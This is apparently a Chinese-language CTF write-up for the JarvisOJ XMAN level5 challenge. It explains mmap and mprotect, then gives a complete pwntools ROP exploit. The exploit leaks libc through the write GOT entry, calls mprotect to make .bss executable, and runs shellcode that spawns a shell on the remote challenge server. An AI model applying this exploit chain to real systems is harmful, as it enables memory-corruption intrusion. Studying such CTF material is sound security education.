CTF

「JarvisOJ」XMANlevel5题解

Posted by 许大仙 on August 14, 2018

一、问题要求

题目要求

mmap、mprotect函数并不熟悉,以下介绍在POSIX环境[补充1]使用文件映射IO操作的方法。

文件映射IO又被称为存储映射IO,对于普通文件而言,很多时候它是高效的,它实际减少了数据的复制;同时它也可以用于特殊的地方,用于进程之间的通信,共享内存的一种方式。

把一个文件想象成一块连续的数据,从纯粹的数据角度来看,任何普通文件都可以这么理解。文件映射实际上是把文件的这块数据与我们程序里的一块内存对应上,使用我们操作这块内存的时候,看上去实际在操作这个文件。这就是文件映射的概念。这个概念很伟大,它直接避免了内核与用户之间的一层数据复制,所以很多时候,它会比其它方式的文件操作更快一些,尤其对于普通的磁盘文件而言更是如此。

1.创建映射区:mmap

我们通过函数mmap来告诉操作系统把哪个文件映射哪块内存去[创建虚拟存储器区域,将对象映射到这个区域中],并且设置我们可能对这块内存的操作,就是对文件一样。

#include<sys/mman.h>
void* mmap(void* addr, size_t len, int port, int flag, int filedes, off_t off)

返回值:成功返回被映射的内存地址,失败返回MAP_FIALED

参数 addr

这个只有在极少数情况下才不为0,这个参数告诉内核使用addr指定的值来映射指定文件的起始地址。当指定为0的时候,告诉内核返回什么地址内其自身决定。除非非常了解系统进程模式,或者对当前环境非常了解,否则的话手工指定这个值总是不可取

参数 len

指定被映射的内存区域的长度。

参数 port

这个参数对应open函数的权限位,我们可以指定为:PROT_READ,映射区可读;PROT_WRITE,映射区可写;PROT_EXEC,映射区可执行;PROT_NONE,映射区不可访问。由于只能映射已经打开的文件,所以这个权限位不能超出open函数指定的权限,比如说在open的时候指定为只读,那就不能在此时指定PORT_WRITE。

参数 flag

这个参数指定了映射区的其它一些属性,权限的属性已经在port中指定。这里可能存在的典型值有:MAP_ FIXED,针对addr属性,如果指定这个位,那么要求系统必需在指定的地址映射,这往往是不可取的;MAP_ SHARED,此标志说明指定映射区是共享的,意思就是说对内存的操作与对文件的操作是相对应的,它不能与MAP_ PRIVATE标志一直使用,因为它们表达的意图是相反的;MAP_ PRIVATE,该标志说明映射区是私用的,此时被映射的内存只能被当前里程使用,当进程操作的内存将会产生原文件的一个副本。

参数fd:有效的文件描述符。一般是由open()函数返回,其值也可以设置为-1,此时需要指定flags参数中的MAP_ANON,表明进行的是匿名映射。 off_toffset:被映射对象内容的起点。

mmap函数

2.设置与同步映射区:mprotect、msync

在mmap中我们有很多选项来控制最后得到的映射区的一些属性,在调用mmap函数之后,仍然可以对其中的一些属性进行调整,这通过mprotect函数完成

此外在我们更新了内存的内容之后,这时可能想把这些内容同步到磁盘中的文件,这通过msync函数来完成

△mprotect 函数可以更改一个已经存在的映射区的访问权限。

#include<sys/mman.h>
int mprotect(void* addr, size_t len, int port)
  • 返回值:成功返回0,失败返回-1
  • 参数 addr
    • 这个参数是mmap返回的数值,此时它就是mprotect作用的范围
  • 参数 len
    • 指定映射区的长度,它需要与mmap中指定相同。
  • 参数 port
    • 在上面我们已经介绍了port的可能取值,mprotect功能就是把这个port指定的属性施加于相应的映射区上。

在映射区的内容更新了,内核并不是实时同步映射区与文件的,相反内核很少主动去同步,除非我们调用了函数msync或者关闭映射区(关闭映射区的时候,也不是立即同步的)。

二、解题思路

这题也可以用level3_x64的解法,但是题目要求了要用mmap/mprotect。那么就试一试

具体的思路是:

  • 分配一块内存buff并设置这块内存属性为rwx[改为7即可读可写可执行]
  • 调用read从stdin读取shellcode到内存buff中
  • 跳转到buff中执行shellcode

这块buff的来源:

  • ①可以用bss段[本身不可执行]+mprotect分配可执行权限
    • 泄露获取libc->通过偏移量相同得到mprotect函数真实地址–>获取到mprotect函数来改写bss段的权限–>把shellcode写入到bss段–>执行bss段的内容。
  • 或者②用mmap分配得到
    • 泄露获取libc->通过偏移量相同得到mmap函数真实地址–>使用mmap设定buff长度及权限,成功调用返回的地址A作为buff首地址–>把shellcode写入到A地址处–>执行A地址的内容

三、解题步骤

这里使用第一种思路,而不使用mmap,在于mmap要设置6个参数,实在不容易,而mprotect只需要设置3个参数[手工指定addr为bss段首地址]。

PS :当然,寻找控制6个参数的gadget的方法是存在的,可利用的是_dl_ runtime_ resolve函数。详见蒸米的文章一步一步学ROP之gadgets和2free篇 - 蒸米。 32bit的程序则不存在这种问题。函数_ dl_ runtime_ resolve在这题的链接库ld.2.19.so版本中是存在的,而在我本地是ld.2.26.so,并不存在_dl_ runtime_ resolve,取而代之的是_dl_ runtime_ resolve_ avx_ slow,所以这个gadget还受目标系统so文件版本的影响。故不推荐在64bit程序下使用mmap函数,附带ld.2.19.so下载地址

这里的write[泄露libc,获得write真实地址]/read[写入shellcode]/mprotect[设置bss段权限]都要使用到3个参数,所以ROPgadget工具找到的ROP链不够设置,故需要使用通过的gadgets。

注意:__ libc_ csu_ init函数的通用gadget中call *%12,是间接调用,所以泄露出的mmap和mprotect的真实地址,不能直接放入%r12[call %12才可以这样]。而是需要先调用read函数将mmap和mprotect的真实地址写入内存地址M处,然后将%12设置成地址M. 这样call *%12 = call M地址下的内容 = call mmap和mprotect的真实地址。

这里调用read写入时,可以顺带将shellcode一起写入。

shellcode=p64(mprotect_addr/mmap_addr)+asm(shellcraft.amd64.sh())

from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
#p=process("./level3_x64")
p = remote("pwn2.jarvisoj.com",9884)
libc=ELF("./libc-2.19.so")
elf=ELF("./level3_x64")

1.write函数打印/泄露write_got值

使用ROPgadget工具获得ROP链,具体参考JarvisOJ——XMANlevel3_x64题解

rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A

#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)

2.通过偏移量相等,确定mprotect函数的真实地址

p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)

mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)

3.使用read函数将shellcode写入bss段

shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh()) #为了能使用通用gadget中的call *,mprotect的地址也要顺带写入
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(0)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

4.使用mprotect函数将bss段中存有shellcode的部分设置权限为rwx,并跳转到shellcraft.amd64.sh()[elf.bss()+8,跳过mprotect的地址]处执行。

payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.bss())#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss()+8)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

注意点:mprotect的第一个参数addr标识要写的内存页的首地址[一般来自于mmap,否则容易失败]。内存是要求是以页为单位访问。一页是4kb也就是0x1000字节所以mprotect的第一个参数必须是0x1000的倍数,并且又要包含bss段,所以设置为0x600000。第二个参数标识要设置的权限的地址的范围,也是页大小为单位,能包含bss段的最小范围,故设置为0x1000。

根据bss设置addr和len参数

获取Linux 内存页(基页)大小的命令:

getconf PAGE_SIZE

Linux 页大小

故payload应该实现mprotect(0x00600000,0x1000,7)

攻击结果

四、补充

POSIX:可移植操作系统接口(Portable Operating System Interface of UNIX,缩写为 POSIX ),POSIX标准定义了操作系统应该为应用程序提供的接口标准,POSIX 并不局限于 UNIX,还有许多其它的操作系统,例如 DEC OpenVMS 支持 POSIX 标准

  • https://www.cnblogs.com/rec0rd/p/7646857.html